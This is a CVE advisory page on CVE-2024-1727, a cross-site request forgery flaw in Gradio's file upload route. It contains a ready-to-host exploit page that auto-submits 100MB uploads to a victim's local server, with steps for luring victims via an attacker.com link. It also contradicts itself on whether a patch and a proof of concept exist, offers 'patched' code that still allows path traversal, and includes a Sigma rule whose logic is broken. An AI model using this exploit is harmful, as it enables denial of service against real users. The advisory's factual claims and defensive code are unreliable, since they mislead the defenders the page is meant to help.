☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1727

CVE-2024-1727 Cross-Site Request Forgery in Gradio-app
📅 PUBLISHED: 2024-03-21 19:57 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1727 is a Cross-Site Request Forgery (CSRF) vulnerability in the Gradio application framework (gradio-app/gradio). The flaw resides in the file upload functionality implemented in gradio/routes.py. An attacker can craft a malicious HTML page that, when visited by a victim running Gradio locally, triggers an unauthorized upload of multiple large files to the victim's Gradio server. This can deplete disk space, leading to a Denial of Service (DoS) condition. The CVSS score is 4.3 (Medium), with low attack complexity but requiring user interaction. No public exploit code or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gradio is a Python package available on PyPI. This vulnerability affects users who run Gradio locally and are tricked into visiting a malicious webpage. The attack does not require authentication but relies on the victim's browser making requests to the local Gradio server. Organizations using Gradio in development or production environments should assess their exposure, especially if Gradio is exposed to the internet or used in shared environments.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
  • Attack Vector (AV): Network – The attack is launched over a network.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – Victim must visit a malicious page.
  • Scope (S): Unchanged – The vulnerable component and the attacker's scope are the same.
  • Confidentiality (C): None – No data exposure.
  • Integrity (I): None – No data modification.
  • Availability (A): Low – Disk space depletion can cause service disruption.

Threat Level: Medium. The attack requires user interaction and only affects availability, but it can be easily automated via phishing or drive-by downloads.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the file upload endpoint of Gradio. Gradio is a Python library for creating web-based machine learning demos. It runs a local web server that handles file uploads via a POST request to a specific route (likely /upload or similar). The server does not validate the origin of the request, allowing a malicious website to send a cross-origin POST request with file data.

Attack Flow:

  1. Victim runs a Gradio application locally (e.g., gradio demo.py).
  2. Attacker crafts an HTML page with a form that automatically submits a POST request to http://localhost:7860/upload (or the Gradio server's address) with a large file payload.
  3. Victim visits the malicious page (via phishing, ad, or compromised site).
  4. The browser sends the request, including any cookies or session tokens (if any), to the local Gradio server.
  5. Gradio processes the upload, writing the large file(s) to disk.
  6. Repeated uploads fill the disk, causing a denial of service.

Root Cause: Lack of CSRF tokens or origin validation in the file upload handler. The code in gradio/routes.py does not check the Referer header or include anti-CSRF tokens.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

# gradio/routes.py (vulnerable)
@app.post("/upload")
async def upload_file(file: UploadFile):
    # No CSRF check
    contents = await file.read()
    with open(f"/tmp/{file.filename}", "wb") as f:
        f.write(contents)
    return {"status": "ok"}

Patched Code (Hypothetical):

# gradio/routes.py (patched)
from fastapi import Request, HTTPException

@app.post("/upload")
async def upload_file(request: Request, file: UploadFile):
    # Validate origin
    origin = request.headers.get("origin")
    if origin and origin != "http://localhost:7860":
        raise HTTPException(status_code=403, detail="CSRF detected")
    # Or use a CSRF token
    token = request.headers.get("X-CSRF-Token")
    if not token or token != expected_token:
        raise HTTPException(status_code=403, detail="Invalid CSRF token")
    contents = await file.read()
    with open(f"/tmp/{file.filename}", "wb") as f:
        f.write(contents)
    return {"status": "ok"}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Victim running Gradio locally on http://localhost:7860.
  • Attacker-controlled web server or ability to host a malicious HTML page.

Exploit HTML (save as exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf-form" action="http://localhost:7860/upload" method="POST" enctype="multipart/form-data">
    <input type="file" name="files" id="file-input" multiple>
</form>
<script>
    // Automatically submit the form with a large file
    window.onload = function() {
        // Create a large blob (e.g., 100MB)
        const blob = new Blob([new ArrayBuffer(100 * 1024 * 1024)], {type: 'application/octet-stream'});
        const file = new File([blob], 'largefile.bin');
        const dt = new DataTransfer();
        dt.items.add(file);
        document.getElementById('file-input').files = dt.files;
        document.getElementById('csrf-form').submit();
    };
</script>
</body>
</html>

Steps:

  1. Host the HTML on a server (e.g., python -m http.server 9999).
  2. Send the link to the victim (e.g., http://attacker.com/exploit.html).
  3. Victim visits the page; the form auto-submits, uploading a large file to the local Gradio server.
  4. Repeat to fill disk space.

Blue Team

Detection:

  • Monitor for multiple large file uploads to Gradio endpoints from external IPs.
  • Check for unusual disk usage spikes on systems running Gradio.
  • Look for requests to /upload with Origin headers not matching localhost.

Prevention:

  • Implement CSRF tokens in Gradio.
  • Use SameSite cookies (if applicable).
  • Restrict Gradio to listen only on 127.0.0.1 (default) and not expose to network.
  • Use a reverse proxy (e.g., Nginx) with CSRF protection.

Indicators of Compromise (IOCs)

  • Network: POST requests to /upload on Gradio port (default 7860) with Origin header not matching http://localhost:7860.
  • File System: Large files (e.g., largefile.bin) in Gradio's upload directory (e.g., /tmp/gradio/).
  • Logs: Gradio logs showing repeated uploads from the same IP or with unusual file sizes.
  • Disk: Rapid disk space consumption on the host running Gradio.

Detection Engineering

YARA Rule

rule CVE_2024_1727_CSRF_Upload {
    meta:
        description = "Detects malicious HTML attempting CSRF upload to Gradio"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-1727"
    strings:
        $s1 = "http://localhost:7860/upload" nocase
        $s2 = "enctype=\"multipart/form-data\"" nocase
        $s3 = "new Blob" nocase
        $s4 = "ArrayBuffer" nocase
    condition:
        all of ($s1, $s2) or ($s3 and $s4)
}

Sigma Rule

title: Gradio CSRF File Upload Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF attack against Gradio file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/upload'
        cs-referer: 
            - 'http://localhost:7860/upload'
            - 'http://127.0.0.1:7860/upload'
    filter:
        cs-referer: 'http://localhost:7860/upload'
    condition: selection and not filter
falsepositives:
    - Legitimate uploads from the same origin
level: medium
tags:
    - attack.t1204
    - cve.2024.1727

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1727 Gradio CSRF Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/Origin\x3a\x20(?!http\x3a\x2f\x2flocalhost\x3a7860)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Gradio to localhost only – Ensure Gradio binds to 127.0.0.1 (default) and not 0.0.0.0.
  2. Use a reverse proxy – Place Nginx or Apache in front with CSRF token validation.
  3. Monitor disk usage – Set alerts for rapid disk space consumption.

Long-term Fix:

  • Apply a patch from the vendor when available.
  • Implement CSRF protection in Gradio (e.g., using FastAPI's built-in CSRF middleware or custom token validation).
  • Update to the latest Gradio version once patched.

Workaround:

  • Disable file upload functionality if not needed.
  • Use a firewall to block external access to Gradio ports.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1727/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.